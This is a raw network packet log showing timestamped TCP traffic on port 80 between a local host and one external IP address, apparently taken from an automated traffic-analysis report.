Dec 16, 2024 13:16:22.345689058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.345751047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.345762968 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.345793009 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.346771955 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.346813917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.346837044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.346872091 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.347842932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.347894907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.347959995 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.347997904 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.348926067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.348983049 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.349054098 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.349096060 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.350056887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.350106001 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.350110054 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.350138903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.351118088 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.351165056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.351247072 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.351289034 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.352124929 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.352180958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.352224112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.352264881 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.353151083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.353199959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.353220940 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.353254080 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.354249954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.354306936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.354449034 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.354490995 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.355299950 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.355350018 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.355386019 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.355421066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.356388092 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.356455088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.356463909 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.356501102 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.357553959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.357567072 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.357605934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.357625961 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.358561993 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.358625889 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.358643055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.358674049 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.359610081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.359658003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.359705925 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.359745979 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.360691071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.360735893 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.360800028 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.360833883 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.361834049 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.361880064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.361943960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.361983061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.362763882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.362814903 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.362879038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.362915993 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.363903999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.363950014 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.363977909 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.364012957 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.500089884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.500159979 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.500183105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.500225067 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.500524998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.500576019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.500848055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.500891924 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.500932932 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.500971079 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.501808882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.501857996 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.501929998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.501971960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.505270958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.505283117 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.505342960 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.505441904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.505455971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.505486012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.505511045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.505760908 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.505808115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.505942106 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.505985975 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.506850958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.506913900 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.507014036 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.507054090 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.507992983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.508038998 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.508167982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.508207083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.508893013 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.508940935 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.509053946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.509090900 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.509915113 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.509963989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.510077000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.510117054 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.511075974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.511104107 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.511125088 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.511148930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.511432886 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.511476994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.511512995 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.511552095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.512527943 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.512574911 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.512634993 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.512677908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.513619900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.513664961 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.513701916 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.513737917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.514642954 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.514687061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.514734983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.514769077 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.515701056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.515748024 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.515808105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.515849113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.516813040 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.516868114 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.516911030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.516968012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.517862082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.517916918 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.517957926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.517997026 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.519157887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.519176960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.519211054 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.520167112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.520212889 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.520241022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.520281076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.521080017 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.521131992 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.521177053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.521215916 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.522155046 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.522202969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.522212982 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.522245884 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.523242950 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.523289919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.523369074 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.523406029 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.524312973 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.524359941 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.524403095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.524440050 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.525338888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.525386095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.525480032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.525521040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.526420116 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.526464939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.526530027 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.526567936 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.527482033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.527544975 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.527664900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.527705908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.528764009 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.528809071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.530222893 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.530268908 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.531912088 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.531922102 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.531935930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.531949043 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.531964064 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.531991005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.532366037 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.532412052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.532527924 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.532565117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.533654928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.533665895 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.533694983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.533716917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.534631014 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.534677982 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.534792900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.534830093 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.535634995 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.535677910 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.535787106 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.535847902 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.536701918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.536748886 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.536859035 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.536897898 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.537868977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.537928104 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.538038969 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.538074970 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.538876057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.538921118 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.539076090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.539118052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.539835930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.539880991 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.539984941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.540028095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.541270971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.541285992 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.541322947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.542071104 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.542115927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.542226076 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.542270899 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.543293953 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.543308973 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.543335915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.543356895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.544236898 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.544279099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.544414043 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.544454098 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.545295000 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.545341969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.545479059 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.545517921 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.546351910 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.546400070 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.546518087 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.546559095 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.547487974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.547503948 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.547538042 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.547840118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.547885895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.547969103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.548023939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.548890114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.548942089 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.548979998 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.549019098 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.549930096 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.549978971 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.550040007 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.550079107 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.551122904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.551172018 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.551232100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.551273108 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.552117109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.552166939 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.552288055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.552330017 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.553123951 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.553168058 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.553231001 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.553272009 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.554200888 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.554241896 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.554332018 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.554369926 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.555289030 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.555335045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.555358887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.555401087 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.691596985 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.691617012 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.691822052 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.691855907 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.691880941 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.691881895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.691881895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.693700075 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.693753958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.693802118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.693844080 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.693969965 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.694010973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.694020987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.694053888 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.694734097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.694781065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.694845915 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.694885015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.695801020 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.695847034 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.695885897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.695924044 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.696914911 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.696963072 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.697004080 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.697041988 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.697917938 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.697962999 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.698008060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.698046923 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.699060917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.699104071 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.699107885 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.699136019 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.700102091 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.700151920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.700172901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.700208902 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.701170921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.701219082 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.701306105 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.701345921 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.702251911 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.702320099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.702361107 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.702399969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.703294039 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.703342915 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.703382969 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.703423977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.704381943 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.704432011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.704526901 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.704569101 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.705429077 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.705478907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.705537081 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:22.705576897 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:22.706505060 CET	80	49724	31.41.244.11	192.168.2.8
